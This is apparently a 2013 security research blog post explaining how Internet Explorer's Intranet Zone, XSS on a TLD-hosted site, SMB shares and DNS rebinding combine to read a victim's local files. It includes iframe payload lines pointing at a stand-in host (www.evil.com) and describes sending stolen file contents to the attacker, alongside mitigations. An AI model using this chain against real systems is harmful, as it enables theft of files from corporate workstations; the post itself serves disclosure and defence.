Friday, September 27, 2013

IE Intranet Zone - stealing local files

The idea to create this attack came to my mind, when I figured out that the Intranet Zone is allowed to iframe local files via UNC Syntax:

\\127.0.0.1\C$\localfile

If we know the location of a file, it could be possible to read it. So lets start:

Getting into the Intranet Zone

!To be clear, the Intranet Zone only exists if your workstation is in a domain. That's why this attack only works in a corporate network.

The idea for this was taken from here click. Basically you can misuse websites, hosted on Top Level Domains, to achieve the effect of an Intranet Zone. There are websites on io or uz.
Misuse means we need to find a XSS hole in the site (which is not the problem ;). A second option is to buy a TLD, which costs 185 000$, so I sticked to XSS.
Additionally you have to remember, that Internet Explorer has a built in reflected XSS filter. Because I did not want to stop creating this attack because of a XSS filter, I tried to bypass it. I succeeded, but I am not going to publish the bypass until its fixed.
So by combining a XSS vulnerability and a website hosted on a TLD, I achieved intranet privileges. The next step introduces SMB.

A website on a TLD is only resolvable in a corporate network, if the windows server is not the one resolving it. Windows DNS Server does not resolve A entries for TLD, the reason for this behavior is described here.

Additionally, do not iframe the intranet zone. If the victim visits your site like www.example.com, you must not load e.g. http://io in an iframe, use a popunder instead. If you iframe it, the attack will fail, because www.example.com (internet zone) has protected mode by default enabled and by iframing you apply protected mode to the intranet (even if it has protected mode disabled).

Next step: SMB
After getting script execution inside the intranet zone, all I have to do is load a html file from a smb share.

The syntax to load a smb share is the following: \\<server>\<share>\<path>
So lets do this:
<iframe src=\\www.evil.com\C$\index.html></iframe>

This loads a file on a smb share, controlled by me. To be able to do this, the client needs to be allowed to create connections to port 445 in the internet.
The share needs to be named C$, because Internet Explorer uses the server name+share as the host to enforce the same origin policy. We will see later on why this is important.

DNS Rebinding is such a nice thing

The index.html is loaded and ready to attack. All it wants to do is loading an iframe:
<iframe src=\\www.evil.com\C$\Users\hans\Desktop\steal.txt></iframe>

But this time I do not want www.evil.com to point to a server in the internet, I want access to the local machine. To achieve this I am using DNS Rebinding. Normally DNS Rebinding is used to attack servers/routers in the LAN, by mapping the same domain name to a local ip address. I use it a little bit different:

After the index.html gets loaded, the firewall @www.evil.com blocks all TCP connections. Additionally the record for www.evil.com is changed from A 1.2.3.4 to CNAME localhost record.
If index.html now loads the iframe, which points to www.evil.com, the browser reuses the saved IP, and tries to connect to 1.2.3.4. Because all TCP connections are blocked, the browser drops the saved IP and initiate a new DNS request for www.evil.com. This behavior is called Anti-DNS Pinning.
The DNS server now response with the CNAME entry to localhost.
Now www.evil.com got rebinded to localhost, which is why the iframe now connects to the locale smb share C$ to load the path Users\hans\Desktop\steal.txt

To finish index.html can access the innerHTML of the loaded iframe, because the SOP is fulfilled.
The hostname is the same (www.evil.com) and the share name too (C$). Now it should be clear, why you must use C$ as the share name. After getting the innerHTML (the content of the file) it is really easy to send it via javascript to the attacker.

If you are familiar with DNS Rebinding you maybe wondering why I use a CNAME record instead of returning 127.0.0.1 for www.evil.com. The reason is, that it only works with the CNAME entry ;)
I think IE uses the hostname+username to connect to smb shares and hans@www.evil.com is not a valid user, but hans@localhost is.
One could ask me how I know the username in the path. I do not have to guess it, it gets transmitted in the SMB connection while loading the index.html file.

Protection & ImprovementsTo protect yourself you can either forbid port 445 to the internet (which you really should!!), or use the windows server as your main DNS server.
But the easiest way to protect you, is to enable protected mode for the intranet zone.
If you do not block port 445, I should mention the information posted here. The same thing happens during this attack, while loading the index.html from www.evil.com.

The improvements: I tried to implement this attack by using WebDav(Port 80). It uses the exact same syntax as SMB shares, so the SOP would make no problem. But if the index.html gets loaded via WebDav, the access to local files fails. It could be that IE is "smart" and uses the same port again, which means it tries to connect to localhost\C$ via WebDav too. I am still working on this issue.

Heres a Poc Video. You see that load.com loads a intranet side (the popunder does not work for me :( ), which alerts the content of the local file. It takes so long, because the is far frome being optimized.